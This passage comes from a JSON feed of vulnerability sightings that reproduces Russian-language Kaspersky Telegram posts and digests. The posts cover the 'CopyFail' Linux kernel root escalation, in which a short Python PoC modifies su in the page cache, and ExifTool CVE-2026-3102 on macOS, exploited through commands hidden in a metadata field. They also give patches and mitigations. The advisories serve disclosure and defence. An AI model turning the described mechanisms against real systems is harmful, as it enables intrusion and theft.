\u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u041e\u0421.\n\n\ud83d\udd3b\u041a\u0430\u043a \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442\n\u0412\u0441\u0451, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u2014 Python-\u0441\u043a\u0440\u0438\u043f\u0442 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 732 \u0431\u0430\u0439\u0442\u0430. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0448\u0438\u0431\u043a\u0443 \u0432 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u044f\u0434\u0440\u0430 (authencesn), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432\u0441\u0435\u0433\u043e 4 \u0431\u0430\u0439\u0442\u0430 \u0432 \u043a\u0435\u0448 \u043b\u044e\u0431\u043e\u0433\u043e \u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0443\u044e \u0443\u0442\u0438\u043b\u0438\u0442\u0443 su (\u0441\u043c\u0435\u043d\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f) \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u0443\u044e \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u041d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u044e\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043c\u0435\u0442\u043e\u0434\u0430 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0430\u0442\u0430\u043a, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CopyFail.\n\n\ud83d\udd3b\u041a\u0442\u043e \u0432 \u0437\u043e\u043d\u0435 \u0440\u0438\u0441\u043a\u0430\n\u0411\u043e\u043b\u044c\u0448\u0435 \u0432\u0441\u0435\u0433\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0433\u0440\u043e\u0436\u0430\u0435\u0442 \u0441\u0440\u0435\u0434\u0430\u043c \u0441 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438:\n\ud83d\udd34\u043e\u0431\u0449\u0438\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438;\n\ud83d\udd34\u0443\u0437\u043b\u044b Kubernetes;\n\ud83d\udd34\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f-\u0430\u0433\u0435\u043d\u0442\u044b \u0434\u043b\u044f CI/CD-\u0437\u0430\u0434\u0430\u0447 (CI-\u0440\u0430\u043d\u043d\u0435\u0440\u044b), \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u0437 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 \u0432\u044b\u0442\u044f\u0433\u0438\u0432\u0430\u043d\u0438\u0435 (pull request);\n\ud83d\udd34\u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0438 \u0430\u0433\u0435\u043d\u0442\u044b, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b.\n\n\u25b6\ufe0f\u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f\n\ud83d\udfe2\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f. \u041f\u0430\u0442\u0447 \u0432\u044b\u0448\u0435\u043b \u2014 \u044d\u0442\u043e \u043a\u043e\u043c\u043c\u0438\u0442 a664bf3d603d. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0443\u0436\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435. \n\ud83d\udfe2\u0414\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u0435\u0440\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u2014 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043c\u043e\u0434\u0443\u043b\u044c \u044f\u0434\u0440\u0430 algif_aead.\n\ud83d\udfe2\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 PoC, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 Python, \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f Kaspersky Endpoint Detection and Response Expert.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u2014 \u0432 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0435 \u043d\u0430 Securelist.\n\n\ud83d\udc99 Kaspersky \u0432 \u0412\u041a\n\ud83d\udcac Kaspersky \u0432 Max\n\ud83d\udcac \u041f\u043e\u0440\u0432\u0430\u043b\u0438 \u0434\u0432\u0430 \u0442\u0440\u043e\u044f\u043d\u0430 \u0432 Max", "creation_timestamp": "2026-09-01T17:00:12.442221Z"}, {"uuid": "65d408ac-3382-48bf-a4b0-d686b4309bab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "https://t.me/kasperskylab_ru/7393", "content": "\u0412 \u0441\u0432\u0435\u0436\u0435\u043c #kaspersky_securityweek:\n\n\ud83d\udfe2\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Cloudflare \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u043e\u0442\u0447\u0451\u0442 \u043e \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 \u0418\u0418-\u0430\u0441\u0441\u0438\u0441\u0442\u0435\u043d\u0442\u0430 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Claude Mythos \u043d\u0430 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u0435. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u044f\u0432\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u043e \u0438 \u0441\u043a\u043e\u043d\u0441\u0442\u0440\u0443\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0447\u0435\u043c \u043f\u0440\u043e\u0438\u043b\u043b\u044e\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0438\u0445 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c. \u0412 \u043e\u0442\u0447\u0451\u0442\u0435 Cloudflare \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043e\u0431\u0432\u044f\u0437\u043a\u0438 \u0432\u043e\u043a\u0440\u0443\u0433 \u0418\u0418-\u0430\u0441\u0441\u0438\u0441\u0442\u0435\u043d\u0442\u0430 \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u0438\u0441\u043a\u0430 \u043e\u0448\u0438\u0431\u043e\u043a, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0437\u0430\u043a\u0440\u044b\u0442\u0438\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0440\u0430\u0441\u0442\u0443\u0449\u0435\u0439 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u0438 \u0442\u0430\u043a\u0438\u0445 \u0430\u0441\u0441\u0438\u0441\u0442\u0435\u043d\u0442\u043e\u0432.\n\n\ud83d\udfe2\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-3102 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 ExifTool \u0438 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043b\u0438 \u043e \u043d\u043e\u0432\u044b\u0445 \u043f\u0440\u0438\u0451\u043c\u0430\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Cloud Atlas, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0438 \u0411\u0435\u043b\u0430\u0440\u0443\u0441\u0438.\n\n\ud83d\udfe2\u041c\u0430\u0441\u0441\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u043f\u0430\u043a\u0435\u0442\u044b \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 NPM, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043d\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u041f\u041e, \u043f\u0440\u0438\u0432\u0435\u043b\u0430 \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0431\u043e\u043b\u0435\u0435 300 \u0440\u0435\u043b\u0438\u0437\u043e\u0432. \u0412 \u0430\u0442\u0430\u043a\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0441\u044f \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.", "creation_timestamp": "2026-09-01T17:00:12.475358Z"}, {"uuid": "7a9c9675-3148-43fe-aefd-1289a1b88696", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "https://t.me/kasperskylab_ru/7421", "content": "\ud83c\udf4f \u0411\u0440\u0435\u0448\u044c \u0432 ExifTool \u2014 \u0438 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 macOS\n\u00a0\n\u0412 \u0444\u0435\u0432\u0440\u0430\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u043d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0438\u0437 \u043a\u043e\u043c\u0430\u043d\u0434\u044b Kaspersky GReAT\u00a0\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-3102 \u0432\u00a0ExifTool\u00a0\u2014 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u0443\u0442\u0438\u043b\u0438\u0442\u0435\u00a0\u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439, PDF, \u0430\u0443\u0434\u0438\u043e \u0438 \u0432\u0438\u0434\u0435\u043e. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043d\u0430 \u0431\u0430\u0437\u0435 \u041e\u0421\u00a0macOS \u0438 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043e\u0447\u0438\u0441\u0442\u043a\u0438 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0442\u0435\u0433\u043e\u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445.\n\u00a0\n\u0427\u0442\u043e\u0431\u044b \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043b\u0430\u0437\u0435\u0439\u043a\u043e\u0439, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0434\u043e\u043b\u0436\u0435\u043d \u0437\u0430\u0448\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u0430 \u2014 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u043f\u043e\u043b\u0435 DateTimeOriginal. \u0422\u0430\u043a\u0436\u0435 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u043e \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0442\u0435\u0433\u043e\u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0444\u0438\u043b\u044c\u0442\u0440 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438.\n\u00a0\n\u041f\u043e\u0441\u043b\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0444\u0430\u0439\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0436\u0435\u0440\u0442\u0432\u044b \u0442\u0440\u043e\u044f\u043d\u0435\u0446 \u0434\u043b\u044f \u043f\u043e\u0445\u0438\u0449\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0434\u043b\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u043f\u0440\u043e\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u044f \u043f\u043e \u0441\u0435\u0442\u0438.\n\u00a0\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440\u00a0\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-3102 \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u0432 \u043d\u0430\u0448\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043d\u0430 Securelist.\n\n\ud83d\udc99 Kaspersky \u0432 \u0412\u041a\n\ud83d\udcac Kaspersky \u0432 Max\n\ud83d\udcac \u041f\u043e\u0440\u0432\u0430\u043b\u0438 \u0434\u0432\u0430 \u0442\u0440\u043e\u044f\u043d\u0430 \u0432 Max", "creation_timestamp": "2026-09-01T17:00:12.514837Z"}, {"uuid": "375ff63a-f808-4855-9fe4-af1761d8ea99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "https://t.me/kasperskylab_ru/7426", "content": "\u0414\u0430\u0439\u0434\u0436\u0435\u0441\u0442 \u043a\u0438\u0431\u0435\u0440\u043d\u043e\u0432\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e \u27a1\ufe0f\n\n\ud83d\udfe2\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u043d\u0430\u0448\u0435\u0433\u043e \u043e\u043f\u0440\u043e\u0441\u0430 \u2014 \u0441 \u0442\u0440\u0430\u0432\u043b\u0435\u0439 \u0432 \u0441\u0435\u0442\u0438 \u0441\u0442\u0430\u043b\u043a\u0438\u0432\u0430\u043b\u0438\u0441\u044c 13% \u0434\u0435\u0442\u0435\u0439, \u0430 22% \u0445\u043e\u0442\u044f \u0431\u044b \u0440\u0430\u0437 \u0437\u0430 \u0433\u043e\u0434 \u043e\u0431\u0449\u0430\u043b\u0438\u0441\u044c \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435 \u0441 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u043e\u043b\u0435\u0442\u043d\u0438\u043c\u0438 \u043d\u0435\u0437\u043d\u0430\u043a\u043e\u043c\u0446\u0430\u043c\u0438. \u041e \u0432\u0430\u0436\u043d\u044b\u0445 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u0445 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u2014 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c \u0432 \u043f\u043e\u0441\u0442\u0435.\n\n\ud83d\udfe2\u041d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0433\u0440\u0443\u043f\u043f\u044b Cloud Atlas: \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0438 \u0441\u0432\u043e\u0439 \u0430\u0440\u0441\u0435\u043d\u0430\u043b. \u041f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u2014 \u0433\u043e\u0441\u0432\u0435\u0434\u043e\u043c\u0441\u0442\u0432\u0430 \u0438 \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0438 \u0411\u0435\u043b\u0430\u0440\u0443\u0441\u0438. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u043d\u0430 Securelist.\n\n\ud83d\udfe2\u0421 \u043d\u0430\u0447\u0430\u043b\u0430 2026 \u0433\u043e\u0434\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0443\u0436\u0435 \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0438\u0441\u044c \u0441 13 \u0442\u044b\u0441\u044f\u0447\u0430\u043c\u0438 \u0430\u0442\u0430\u043a \u0447\u0435\u0440\u0435\u0437 \u042d\u0414\u041e \u2014 \u044d\u0442\u043e \u0431\u043e\u043b\u044c\u0448\u0435, \u0447\u0435\u043c \u0437\u0430 \u0432\u0435\u0441\u044c 2025 \u0433\u043e\u0434. \u041e\u0431\u044a\u044f\u0441\u043d\u044f\u0435\u043c \u043f\u0440\u0438\u0447\u0438\u043d\u044b \u0438 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c \u043c\u0435\u0445\u0430\u043d\u0438\u043a\u0443 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \n\n\ud83d\udfe2\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b Kaspersky GReAT\u00a0\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-3102 \u0432\u00a0ExifTool, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u0443\u0442\u0438\u043b\u0438\u0442\u0435\u00a0\u0434\u043b\u044f macOS. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0451 \u0434\u043b\u044f \u043f\u043e\u0445\u0438\u0449\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u0432 \u043d\u0430\u0448\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043d\u0430 Securelist.\n\n\u0421\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0438\u0437 \u043c\u0438\u0440\u0430 \u0431\u0438\u0437\u043d\u0435\u0441\u0430:\n\ud83d\udfe2\u0420\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u044b \u0430\u0442\u0430\u043a \u043d\u0430 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.\n\ud83d\udfe2\u0414\u0430\u0451\u043c \u0441\u043e\u0432\u0435\u0442\u044b \u043f\u043e \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 Kaspersky Scan Engine.\n\n\u0418 \u0435\u0449\u0451 \u043a\u043e\u0435-\u0447\u0442\u043e \u0441 \u041f\u041c\u042d\u0424 2026:\n\ud83d\udfe2 \u0415\u0432\u0433\u0435\u043d\u0438\u0439 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u0438\u0439 \u043e \u043f\u043b\u0430\u043d\u0430\u0445 \u043d\u0430 \u043c\u0435\u0440\u043e\u043f\u0440\u0438\u044f\u0442\u0438\u0435.\n\ud83d\udfe2 \u042d\u043a\u0441\u043a\u0443\u0440\u0441\u0438\u044f \u043f\u043e \u0441\u0442\u0435\u043d\u0434\u0443 \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb.\n\ud83d\udfe2 \u0421\u043f\u0435\u0446\u0432\u044b\u043f\u0443\u0441\u043a \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044f 